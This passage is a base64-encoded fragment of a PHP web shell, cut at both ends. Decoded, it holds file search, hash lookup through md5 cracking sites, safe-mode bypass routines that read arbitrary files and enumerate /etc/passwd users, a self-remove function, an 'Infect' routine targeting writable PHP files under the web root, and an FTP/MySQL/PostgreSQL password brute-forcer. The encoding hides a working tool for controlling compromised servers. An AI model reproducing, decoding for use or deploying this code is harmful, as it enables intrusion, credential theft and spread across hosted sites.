PU1RbJ3AxJ10pPycnOmh0bWxzcGVjaWFsY2hhcnMoQCRfUE9TVFsncDInXSkpLiI8L3RleHRhcmVhPjwvZm9ybT48cHJlIGNsYXNzPSdtbDEnIHN0eWxlPSciLihlbXB0eSgkX1BPU1RbJ3AxJ10pPydkaXNwbGF5Om5vbmU7JzonJykuIm1hcmdpbi10b3A6NXB4JyBpZD0nc3RyT3V0cHV0Jz4iOw0KICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7DQogICAgICAgIGlmKGluX2FycmF5KCRfUE9TVFsncDEnXSwgJHN0cmluZ1Rvb2xzKSllY2hvIGh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddKCRfUE9TVFsncDInXSkpOw0KICAgIH0NCiAgICBlY2hvIjwvcHJlPjwvZGl2Pjxicj48aDE%2BU2VhcmNoIGZpbGVzOjwvaDE%2BPGRpdiBjbGFzcz1jb250ZW50Pg0KICAgICAgICA8Zm9ybSBvbnN1Ym1pdD1cImcobnVsbCx0aGlzLmN3ZC52YWx1ZSxudWxsLHRoaXMudGV4dC52YWx1ZSx0aGlzLmZpbGVuYW1lLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCI%2BPHRhYmxlIGNlbGxwYWRkaW5nPScxJyBjZWxsc3BhY2luZz0nMCcgd2lkdGg9JzUwJSc%2BDQogICAgICAgICAgICA8dHI%2BPHRkIHdpZHRoPScxJSc%2BVGV4dDo8L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ndGV4dCcgc3R5bGU9J3dpZHRoOjEwMCUnPjwvdGQ%2BPC90cj4NCiAgICAgICAgICAgIDx0cj48dGQ%2BUGF0aDo8L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nY3dkJyB2YWx1ZT0nIi4gaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pIC4iJyBzdHlsZT0nd2lkdGg6MTAwJSc%2BPC90ZD48L3RyPg0KICAgICAgICAgICAgPHRyPjx0ZD5OYW1lOjwvdGQ%2BPHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdmaWxlbmFtZScgdmFsdWU9JyonIHN0eWxlPSd3aWR0aDoxMDAlJz48L3RkPjwvdHI%2BDQogICAgICAgICAgICA8dHI%2BPHRkPjwvdGQ%2BPHRkPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSdzdWJtaXQnPjwvdGQ%2BPC90cj4NCiAgICAgICAgICAgIDwvdGFibGU%2BPC9mb3JtPiI7DQogICAgZnVuY3Rpb24gaGFyZFJlY3Vyc2l2ZUdsb2IoJHBhdGgpIHsNCiAgICAgICAgaWYoc3Vic3RyKCRwYXRoLCAtMSkgIT0gJy8nKQ0KICAgICAgICAgICAgJHBhdGguPScvJzsNCiAgICAgICAgJHBhdGhzID0gQGFycmF5X3VuaXF1ZShAYXJyYXlfbWVyZ2UoQGdsb2IoJHBhdGguJF9QT1NUWydwMyddKSwgQGdsb2IoJHBhdGguJyonLCBHTE9CX09OTFlESVIpKSk7DQogICAgICAgIGlmKGlzX2FycmF5KCRwYXRocykmJkBjb3VudCgkcGF0aHMpKSB7DQogICAgICAgICAgICBmb3JlYWNoKCRwYXRocyBhcyAk4pafKSB7DQogICAgICAgICAgICAgICAgaWYoQGlzX2Rpcigk4pafKSl7DQogICAgICAgICAgICAgICAgICAgIGlmKCRwYXRoIT0k4pafKQ0KICAgICAgICAgICAgICAgICAgICAgICAgaGFyZFJlY3Vyc2l2ZUdsb2IoJOKWnyk7DQogICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgaWYoZW1wdHkoJF9QT1NUWydwMiddKSB8fCBAc3RycG9zKGZpbGVfZ2V0X2NvbnRlbnRzKCTilp8pLCAkX1BPU1RbJ3AyJ10pIT09ZmFsc2UpDQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNUb29sc1wiLG51bGwsXCIiLnVybGVuY29kZSgk4pafKS4iXCIsIFwidmlld1wiLFwiXCIpJz4iLmh0bWxzcGVjaWFsY2hhcnMoJOKWnykuIjwvYT48YnI%2BIjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgaWYoQCRfUE9TVFsncDMnXSkNCiAgICAgICAgaGFyZFJlY3Vyc2l2ZUdsb2IoJF9QT1NUWydjJ10pOw0KICAgIGVjaG8gIjwvZGl2Pjxicj48aDE%2BU2VhcmNoIGZvciBoYXNoOjwvaDE%2BPGRpdiBjbGFzcz1jb250ZW50Pg0KICAgICAgICA8Zm9ybSBtZXRob2Q9J3Bvc3QnIHRhcmdldD0nX2JsYW5rJyBuYW1lPSdoZic%2BDQogICAgICAgICAgICA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0naGFzaCcgc3R5bGU9J3dpZHRoOjMzMHB4Oyc%2BPGJyPg0KICAgICAgICAgICAgPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nYWN0JyB2YWx1ZT0nZmluZCcvPjxicj4NCiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSdtZDUucmVkbm9pemUuY29tJyBvbmNsaWNrPVwiZG9jdW1lbnQuaGYuYWN0aW9uPSdodHRwOi8vbWQ1LnJlZG5vaXplLmNvbS8%2FcT0nK2RvY3VtZW50LmhmLmhhc2gudmFsdWUrJyZzPW1kNSc7ZG9jdW1lbnQuaGYuc3VibWl0KClcIj4NCiAgICAgICAgICAgIDxpbnB1dCBzdHlsZT0nbWFyZ2luLWxlZnQ6IDIwcHg7JyB0eXBlPSdzdWJtaXQnIHZhbHVlPSdtZDVkZWNyeXB0ZXIuY29tJyBvbmNsaWNrPVwiZG9jdW1lbnQuaGYuYWN0aW9uPSdodHRwczovL3d3dy5tZDVkZWNyeXB0ZXIuY29tLyc7ZG9jdW1lbnQuaGYuc3VibWl0KClcIj48YnI%2BDQogICAgICAgIDwvZm9ybT48L2Rpdj4iOw0KICAgIGhhcmRGb290ZXIoKTsNCn0NCmZ1bmN0aW9uIGFjdGlvblNhZmVNb2RlKCkgew0KICAgICR0ZW1wPScnOw0KICAgIG9iX3N0YXJ0KCk7DQogICAgc3dpdGNoKCRfUE9TVFsncDEnXSkgew0KICAgICAgICBjYXNlIDE6DQogICAgICAgICAgICAkdGVtcD1AdGVtcG5hbSgkdGVzdCwgJ2N4Jyk7DQogICAgICAgICAgICBpZihAY29weSgiY29tcHJlc3MuemxpYjovLyIuJF9QT1NUWydwMiddLCAkdGVtcCkpew0KICAgICAgICAgICAgICAgIGVjaG8gQGZpbGVfZ2V0X2NvbnRlbnRzKCR0ZW1wKTsNCiAgICAgICAgICAgICAgICB1bmxpbmsoJHRlbXApOw0KICAgICAgICAgICAgfSBlbHNlDQogICAgICAgICAgICAgICAgZWNobyAnU29ycnkuLi4gQ2FuXCd0IG9wZW4gZmlsZSc7DQogICAgICAgICAgICBicmVhazsNCiAgICAgICAgY2FzZSAyOg0KICAgICAgICAgICAgJGZpbGVzID0gZ2xvYigkX1BPU1RbJ3AyJ10uJyonKTsNCiAgICAgICAgICAgIGlmKCBpc19hcnJheSgkZmlsZXMpICkNCiAgICAgICAgICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGVuYW1lKQ0KICAgICAgICAgICAgICAgICAgICBlY2hvICRmaWxlbmFtZS4iXG4iOw0KICAgICAgICAgICAgYnJlYWs7DQogICAgICAgIGNhc2UgMzoNCiAgICAgICAgICAgICRjaCA9IGN1cmxfaW5pdCgiZmlsZTovLyIuJF9QT1NUWydwMiddLiJceDAwIi5TRUxGX1BBVEgpOw0KICAgICAgICAgICAgY3VybF9leGVjKCRjaCk7DQogICAgICAgICAgICBicmVhazsNCiAgICAgICAgY2FzZSA0Og0KICAgICAgICAgICAgaW5pX3Jlc3RvcmUoInNhZmVfbW9kZSIpOw0KICAgICAgICAgICAgaW5pX3Jlc3RvcmUoIm9wZW5fYmFzZWRpciIpOw0KICAgICAgICAgICAgaW5jbHVkZSgkX1BPU1RbJ3AyJ10pOw0KICAgICAgICAgICAgYnJlYWs7DQogICAgICAgIGNhc2UgNToNCiAgICAgICAgICAgIGZvcig7JF9QT1NUWydwMiddIDw9ICRfUE9TVFsncDMnXTskX1BPU1RbJ3AyJ10rKykgew0KICAgICAgICAgICAgICAgICR1aWQgPSBAcG9zaXhfZ2V0cHd1aWQoJF9QT1NUWydwMiddKTsNCiAgICAgICAgICAgICAgICBpZiAoJHVpZCkNCiAgICAgICAgICAgICAgICAgICAgZWNobyBqb2luKCc6JywkdWlkKS4iXG4iOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgYnJlYWs7DQogICAgICAgIGNhc2UgNjoNCiAgICAgICAgICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2ltYXBfb3BlbicpKWJyZWFrOw0KICAgICAgICAgICAgJHN0cmVhbSA9IGltYXBfb3BlbigkX1BPU1RbJ3AyJ10sICIiLCAiIik7DQogICAgICAgICAgICBpZiAoJHN0cmVhbSA9PSBGQUxTRSkNCiAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgIGVjaG8gaW1hcF9ib2R5KCRzdHJlYW0sIDEpOw0KICAgICAgICAgICAgaW1hcF9jbG9zZSgkc3RyZWFtKTsNCiAgICAgICAgICAgIGJyZWFrOw0KICAgIH0NCiAgICAkdGVtcCA9IG9iX2dldF9jbGVhbigpOw0KICAgIGhhcmRIZWFkZXIoKTsNCiAgICBlY2hvICc8aDE%2BU2FmZSBtb2RlIGJ5cGFzczwvaDE%2BPGRpdiBjbGFzcz1jb250ZW50Pic7DQogICAgZWNobyAnPHNwYW4%2BQ29weSAocmVhZCBmaWxlKTwvc3Bhbj48Zm9ybSBvbnN1Ym1pdD1cJ2cobnVsbCxudWxsLCIxIix0aGlzLnBhcmFtLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCc%2BPGlucHV0IGNsYXNzPSJ0b29sc0lucCIgdHlwZT10ZXh0IG5hbWU9cGFyYW0%2BPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSJzdWJtaXQiPjwvZm9ybT48YnI%2BPHNwYW4%2BR2xvYiAobGlzdCBkaXIpPC9zcGFuPjxmb3JtIG9uc3VibWl0PVwnZyhudWxsLG51bGwsIjIiLHRoaXMucGFyYW0udmFsdWUpO3JldHVybiBmYWxzZTtcJz48aW5wdXQgY2xhc3M9InRvb2xzSW5wIiB0eXBlPXRleHQgbmFtZT1wYXJhbT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9InN1Ym1pdCI%2BPC9mb3JtPjxicj48c3Bhbj5DdXJsIChyZWFkIGZpbGUpPC9zcGFuPjxmb3JtIG9uc3VibWl0PVwnZyhudWxsLG51bGwsIjMiLHRoaXMucGFyYW0udmFsdWUpO3JldHVybiBmYWxzZTtcJz48aW5wdXQgY2xhc3M9InRvb2xzSW5wIiB0eXBlPXRleHQgbmFtZT1wYXJhbT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9InN1Ym1pdCI%2BPC9mb3JtPjxicj48c3Bhbj5JbmlfcmVzdG9yZSAocmVhZCBmaWxlKTwvc3Bhbj48Zm9ybSBvbnN1Ym1pdD1cJ2cobnVsbCxudWxsLCI0Iix0aGlzLnBhcmFtLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCc%2BPGlucHV0IGNsYXNzPSJ0b29sc0lucCIgdHlwZT10ZXh0IG5hbWU9cGFyYW0%2BPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSJzdWJtaXQiPjwvZm9ybT48YnI%2BPHNwYW4%2BUG9zaXhfZ2V0cHd1aWQgKCJSZWFkIiAvZXRjL3Bhc3N3ZCk8L3NwYW4%2BPHRhYmxlPjxmb3JtIG9uc3VibWl0PVwnZyhudWxsLG51bGwsIjUiLHRoaXMucGFyYW0xLnZhbHVlLHRoaXMucGFyYW0yLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCc%2BPHRyPjx0ZD5Gcm9tPC90ZD48dGQ%2BPGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhcmFtMSB2YWx1ZT0wPjwvdGQ%2BPC90cj48dHI%2BPHRkPlRvPC90ZD48dGQ%2BPGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhcmFtMiB2YWx1ZT0xMDAwPjwvdGQ%2BPC90cj48L3RhYmxlPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0ic3VibWl0Ij48L2Zvcm0%2BPGJyPjxicj48c3Bhbj5JbWFwX29wZW4gKHJlYWQgZmlsZSk8L3NwYW4%2BPGZvcm0gb25zdWJtaXQ9XCdnKG51bGwsbnVsbCwiNiIsdGhpcy5wYXJhbS52YWx1ZSk7cmV0dXJuIGZhbHNlO1wnPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9InN1Ym1pdCI%2BPC9mb3JtPic7DQogICAgaWYoJHRlbXApDQogICAgICAgIGVjaG8gJzxwcmUgY2xhc3M9Im1sMSIgc3R5bGU9Im1hcmdpbi10b3A6NXB4IiBpZD0iT3V0cHV0Ij4nLiR0ZW1wLic8L3ByZT4nOw0KICAgIGVjaG8gJzwvZGl2Pic7DQogICAgaGFyZEZvb3RlcigpOw0KfQ0KZnVuY3Rpb24gYWN0aW9uTG9nb3V0KCkgew0KICAgIHNldGNvb2tpZShtZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSwgJycsIHRpbWUoKSAtIDM2MDApOw0KICAgIGRpZSgiPGRpdiBhbGlnbj0nY2VudGVyJz48ZGl2IGNsYXNzPSdjb250YWluZXInPjxkaXYgY2xhc3M9J3NreSc%2BPGRpdiBjbGFzcz0ndGV4dCc%2BVEhBTksgWU9VICYgQllFPC9kaXY%2BPGRpdiBjbGFzcz0nc3RhcnMnPjwvZGl2PjxkaXYgY2xhc3M9J3N0YXJzMSc%2BPC9kaXY%2BPGRpdiBjbGFzcz0nc3RhcnMyJz48L2Rpdj48ZGl2IGNsYXNzPSdzaG9vdGluZy1zdGFycyc%2BPC9kaXY%2BPC9kaXY%2BPC9kaXY%2BPC9kaXY%2BDQo8c3R5bGU%2BaHRtbHtoZWlnaHQ6MTAwJX1odG1sIGJvZHl7d2lkdGg6MTAwJTtoZWlnaHQ6MTAwJTttYXJnaW46MDtmb250LWZhbWlseTpOdW5pdG8sIHNhbnMtc2VyaWY7fS5jb250YWluZXJ7ZGlzcGxheTpibG9jaztwb3NpdGlvbjpyZWxhdGl2ZTt3aWR0aDoxMDAlO2hlaWdodDoxMDAlO2JhY2tncm91bmQ6bGluZWFyLWdyYWRpZW50KHRvIGJvdHRvbSwjMDIwMTA3IDAsIzIwMWI0NiAxMDAlKX0uY29udGFpbmVyIC50ZXh0e2NvbG9yOiNmZmY7cG9zaXRpb246YWJzb2x1dGU7dG9wOjUwJTtyaWdodDo1MCU7bWFyZ2luOi0xMHB4IC03NXB4IDAgMDtmb250LXNpemU6MjBweDtmb250LWZhbWlseTpOdW5pdG8sIHNhbnMtc2VyaWY7Zm9udC13ZWlnaHQ6NzAwfS5zaG9vdGluZy1zdGFyc3t6LWluZGV4OjEwO3dpZHRoOjVweDtoZWlnaHQ6ODVweDtib3JkZXItdG9wLWxlZnQtcmFkaXVzOjUwJTtib3JkZXItdG9wLXJpZ2h0LXJhZGl1czo1MCU7cG9zaXRpb246YWJzb2x1dGU7Ym90dG9tOjA7cmlnaHQ6MDtiYWNrZ3JvdW5kOmxpbmVhci1ncmFkaWVudCh0byB0b3AscmdiYSgyNTUsMjU1LDI1NSwwKSwjZmZmKTthbmltYXRpb246YW5pbVNob290aW5nU3RhciAxMHMgbGluZWFyIGluZmluaXRlfUBrZXlmcmFtZXMgYW5pbVN0YXJ7ZnJvbXt0cmFuc2Zvcm06dHJhbnNsYXRlWSgwKX10b3t0cmFuc2Zvcm06dHJhbnNsYXRlWSgtMjU2MHB4KSB0cmFuc2xhdGVYKC0yNTYwcHgpfX1Aa2V5ZnJhbWVzIGFuaW1TaG9vdGluZ1N0YXJ7ZnJvbXt0cmFuc2Zvcm06dHJhbnNsYXRlWSgwKSB0cmFuc2xhdGVYKDApIHJvdGF0ZSgtNDVkZWcpO29wYWNpdHk6MTtoZWlnaHQ6NXB4fXRve3RyYW5zZm9ybTp0cmFuc2xhdGVZKC0yNTYwcHgpIHRyYW5zbGF0ZVgoLTI1NjBweCkgcm90YXRlKC00NWRlZyk7b3BhY2l0eToxO2hlaWdodDo4MDBweH19PC9zdHlsZT4NCjxmb290ZXIgaWQ9J2RldCcgc3R5bGU9J3Bvc2l0aW9uOmZpeGVkOyBsZWZ0OjBweDsgcmlnaHQ6MHB4OyBib3R0b206MHB4OyBiYWNrZ3JvdW5kOnJnYigwLDAsMCk7IHRleHQtYWxpZ246Y2VudGVyOyBib3JkZXItdG9wOiAxcHggc29saWQgI2ZmMDA3ZTsgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICNmZjAwN2UnPjxmb250IGZhY2U9J0NlbnR1cnkgR290aGljJyBjb2xvcj0nI2ZmMDA0OCcgc2l6ZT0nNSc%2BPGZvbnQgc3R5bGU9J2ZvbnQtc2l6ZTogMTBwdCcgZmFjZT0nQ2VudHVyeSBHb3RoaWMnPjxmb250IGZhY2U9J1RhaG9tYScgY29sb3I9JyMwMDVhZmYnIHNpemU9JzIuNSc%2BPGZvbnQgY29sb3I9JyNmZjAwN2UnPjxiPiDCqW9wecKuaWdodCA6IDwvYj48L2ZvbnQ%2BDQo8bWFycXVlZSBzY3JvbGxhbW91bnQ9JzMnIHNjcm9sbGRlbGF5PSc2MCcgd2lkdGg9JzgwJSc%2BPGI%2BVHdlcGwgJiA8YSBocmVmPSdodHRwczovL2dpdGh1Yi5jb20vbUljSHlBbVJhTmUnPm1JY0h5PC9hPiA8L2I%2BPC9tYXJxdWVlPiAgPC9mb250PjwvZm9udD48L2ZvbnQ%2BPC9mb290ZXI%2BIik7DQp9DQpmdW5jdGlvbiBhY3Rpb25TZWxmUmVtb3ZlKCkgew0KICAgIGlmKCRfUE9TVFsncDEnXSA9PSAneWVzJykNCiAgICAgICAgaWYoQHVubGluayhwcmVnX3JlcGxhY2UoJyFcKFxkK1wpXHMuKiEnLCAnJywgX19GSUxFX18pKSkNCiAgICAgICAgICAgIGRpZSgnU2hlbGwgaGFzIGJlZW4gcmVtb3ZlZCcpOw0KICAgICAgICBlbHNlDQogICAgICAgICAgICBlY2hvICd1bmxpbmsgZXJyb3IhJzsNCiAgICBpZigkX1BPU1RbJ3AxJ10gIT0gJ3llcycpDQogICAgICAgIGhhcmRIZWFkZXIoKTsNCiAgICBlY2hvICc8aDE%2BU3VpY2lkZTwvaDE%2BPGRpdiBjbGFzcz1jb250ZW50PlJlYWxseSB3YW50IHRvIHJlbW92ZSB0aGUgc2hlbGw%2FPGJyPjxhIGhyZWY9IyBvbmNsaWNrPSJnKG51bGwsbnVsbCxcJ3llc1wnKSI%2BWWVzPC9hPjwvZGl2Pic7DQogICAgaGFyZEZvb3RlcigpOw0KfQ0KZnVuY3Rpb24gYWN0aW9uSW5mZWN0KCkgew0KICAgIGhhcmRIZWFkZXIoKTsNCiAgICBlY2hvICc8aDE%2BSW5mZWN0PC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ%2BJzsNCiAgICBpZigkX1BPU1RbJ3AxJ10gPT0gJ2luZmVjdCcpIHsNCiAgICAgICAgJHRhcmdldD0kX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddOw0KICAgICAgICAgICAgZnVuY3Rpb24gTGlzdEZpbGVzKCRkaXIpIHsNCiAgICAgICAgICAgICAgICBpZigkZGggPSBvcGVuZGlyKCRkaXIpKSB7DQogICAgICAgICAgICAgICAgICAgICRmaWxlcyA9IEFycmF5KCk7DQogICAgICAgICAgICAgICAgICAgICRpbm5lcl9maWxlcyA9IEFycmF5KCk7DQogICAgICAgICAgICAgICAgICAgIHdoaWxlKCRmaWxlID0gcmVhZGRpcigkZGgpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBpZigkZmlsZSAhPSAiLiIgJiYgJGZpbGUgIT0gIi4uIikgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKGlzX2RpcigkZGlyIC4gIi8iIC4gJGZpbGUpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpbm5lcl9maWxlcyA9IExpc3RGaWxlcygkZGlyIC4gIi8iIC4gJGZpbGUpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZihpc19hcnJheSgkaW5uZXJfZmlsZXMpKSAkZmlsZXMgPSBhcnJheV9tZXJnZSgkZmlsZXMsICRpbm5lcl9maWxlcyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYXJyYXlfcHVzaCgkZmlsZXMsICRkaXIgLiAiLyIgLiAkZmlsZSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGNsb3NlZGlyKCRkaCk7DQogICAgICAgICAgICAgICAgICAgIHJldHVybiAkZmlsZXM7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZm9yZWFjaCAoTGlzdEZpbGVzKCR0YXJnZXQpIGFzICRrZXk9PiRmaWxlKXsNCiAgICAgICAgICAgICAgICAkbkZpbGUgPSBzdWJzdHIoJGZpbGUsIC00LCA0KTsNCiAgICAgICAgICAgICAgICBpZigkbkZpbGUgPT0gIi5waHAiICl7DQogICAgICAgICAgICAgICAgICAgIGlmKCgkZmlsZTw%2BJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXS4kX1NFUlZFUlsnUEhQX1NFTEYnXSkmJihpc193cml0ZWFibGUoJGZpbGUpKSl7DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICIkZmlsZTxicj4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGkrKzsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVjaG8gIjxmb250IGNvbG9yPSNhMTA3MDUgc2l6ZT0xND4kaTwvZm9udD4iOw0KICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgIGVjaG8gIjxmb3JtIG1ldGhvZD1wb3N0PjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1JbmZlY3QgbmFtZT1pbmZldD48L2Zvcm0%2BIjsNCiAgICAgICAgICAgIGVjaG8gJ1JlYWxseSB3YW50IHRvIGluZmVjdCB0aGUgc2VydmVyPyZuYnNwOzxhIGhyZWY9IyBvbmNsaWNrPSJnKG51bGwsbnVsbCxcJ2luZmVjdFwnKSI%2BWWVzPC9hPjwvZGl2Pic7DQogICAgICAgIH0NCiAgICBoYXJkRm9vdGVyKCk7DQp9DQpmdW5jdGlvbiBhY3Rpb25CcnV0ZWZvcmNlKCkgew0KICAgIGhhcmRIZWFkZXIoKTsNCiAgICBpZiggaXNzZXQoJF9QT1NUWydwcm90byddKSApIHsNCiAgICAgICAgZWNobyAnPGgxPlJlc3VsdHM8L2gxPjxkaXYgY2xhc3M9Y29udGVudD48c3Bhbj5UeXBlOjwvc3Bhbj4gJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncHJvdG8nXSkuJyA8c3Bhbj5TZXJ2ZXI6PC9zcGFuPiAnLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzZXJ2ZXInXSkuJzxicj4nOw0KICAgICAgICBpZiggJF9QT1NUWydwcm90byddID09ICdmdHAnICkgew0KICAgICAgICAgICAgZnVuY3Rpb24gYnJ1dGVGb3JjZSgkaXAsJHBvcnQsJGxvZ2luLCRwYXNzKSB7DQogICAgICAgICAgICAgICAgJGZwID0gQGZ0cF9jb25uZWN0KCRpcCwgJHBvcnQ%2FJHBvcnQ6MjEpOw0KICAgICAgICAgICAgICAgIGlmKCEkZnApIHJldHVybiBmYWxzZTsNCiAgICAgICAgICAgICAgICAkcmVzID0gQGZ0cF9sb2dpbigkZnAsICRsb2dpbiwgJHBhc3MpOw0KICAgICAgICAgICAgICAgIEBmdHBfY2xvc2UoJGZwKTsNCiAgICAgICAgICAgICAgICByZXR1cm4gJHJlczsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYoICRfUE9TVFsncHJvdG8nXSA9PSAnbXlzcWwnICkgew0KICAgICAgICAgICAgZnVuY3Rpb24gYnJ1dGVGb3JjZSgkaXAsJHBvcnQsJGxvZ2luLCRwYXNzKSB7DQogICAgICAgICAgICAgICAgJHJlcyA9IEBteXNxbF9jb25uZWN0KCRpcC4nOicuKCRwb3J0PyRwb3J0OjMzMDYpLCAkbG9naW4sICRwYXNzKTsNCiAgICAgICAgICAgICAgICBAbXlzcWxfY2xvc2UoJHJlcyk7DQogICAgICAgICAgICAgICAgcmV0dXJuICRyZXM7DQogICAgICAgICAgICB9DQogICAgICAgIH0gZWxzZWlmKCAkX1BPU1RbJ3Byb3RvJ10gPT0gJ3Bnc3FsJyApIHsNCiAgICAgICAgICAgIGZ1bmN0aW9uIGJydXRlRm9yY2UoJGlwLCRwb3J0LCRsb2dpbiwkcGFzcykgew0KICAgICAgICAgICAgICAgICRzdHIgPSAiaG9zdD0nIi4kaXAuIicgcG9ydD0nIi4kcG9ydC4iJyB1c2VyPSciLiRsb2dpbi4iJyBwYXNzd29yZD0nIi4kcGFzcy4iJyBkYm5hbWU9cG9zdGdyZXMiOw0KICAgICAgICAgICAgICAgICRyZXMgPSBAcGdfY29ubmVjdCgkc3RyKTsNCiAgICAgICAgICAgICAgICBAcGdfY2xvc2UoJHJlcyk7DQogICAgICAgICAgICAgICAgcmV0dXJuICRyZXM7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgJHN1Y2Nlc3MgPSAwOw0KICAgICAgICAkYXR0ZW1wdHMgPSAwOw0KICAgICAgICAkc2VydmVyID0gZXhwbG9kZSgiOiIsICRfUE9TVFsnc2VydmVyJ10pOw0KICAgICAgICBpZigkX1BPU1RbJ3R5cGUnXSA9PSAxKSB7DQogICAgICAgICAgICAkdGVtcCA9IEBmaWxlKCcvZXRjL3Bhc3N3ZCcpOw0KICAgICAgICAgICAgaWYoIGlzX2FycmF5KCR0ZW1wKSApDQogICAgICAgICAgICAgICAgZm9yZWFjaCgkdGVtcCBhcyAkbGluZSkgew0KICAgICAgICAgICAgICAgICAgICAkbGluZSA9IGV4cGxvZGUoIjoiLCAkbGluZSk7DQogICAgICAgICAgICAgICAgICAgICsrJGF0dGVtcHRzOw0KICAgICAgICAgICAgICAgICAgICBpZiggYnJ1dGVGb3JjZShAJHNlcnZlclswXSxAJHNlcnZlclsxXSwgJGxpbmVbMF0sICRsaW5lWzBdKSApIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRzdWNjZXNzKys7DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8Yj4nLmh0bWxzcGVjaWFsY2hhcnMoJGxpbmVbMF0pLic8L2I%2BOicuaHRtbHNwZWNpYWxjaGFycygkbGluZVswXSkuJzxicj4nOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGlmKEAkX1BPU1RbJ3JldmVyc2UnXSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHRtcCA9ICIiOw0KICAgICAgICAgICAgICAgICAgICAgICAgZm9yKCRpPXN0cmxlbigkbGluZVswXSktMTsgJGk%2BPTA7IC0tJGkpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRtcCAuPSAkbGluZVswXVskaV07DQogICAgICAgICAgICAgICAgICAgICAgICArKyRhdHRlbXB0czsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCBicnV0ZUZvcmNlKEAkc2VydmVyWzBdLEAkc2VydmVyWzFdLCAkbGluZVswXSwgJHRtcCkgKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHN1Y2Nlc3MrKzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8Yj4nLmh0bWxzcGVjaWFsY2hhcnMoJGxpbmVbMF0pLic8L2I%2BOicuaHRtbHNwZWNpYWxjaGFycygkdG1wKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYoJF9QT1NUWyd0eXBlJ10gPT0gMikgew0KICAgICAgICAgICAgJHRlbXAgPSBAZmlsZSgkX1BPU1RbJ2RpY3QnXSk7DQogICAgICAgICAgICBpZiggaXNfYXJyYXkoJHRlbXApICkNCiAgICAgICAgICAgICAgICBmb3JlYWNoKCR0ZW1wIGFzICRsaW5lKSB7DQogICAgICAgICAgICAgICAgICAgICRsaW5lID0gdHJpbSgkbGluZSk7DQogICAgICAgICAgICAgICAgICAgICsrJGF0dGVtcHRzOw0KICAgICAgICAgICAgICAgICAgICBpZiggYnJ1dGVGb3JjZSgkc2VydmVyWzBdLEAkc2VydmVyWzFdLCAkX1BPU1RbJ2xvZ2luJ10sICRsaW5lKSApIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRzdWNjZXNzKys7DQogICAgI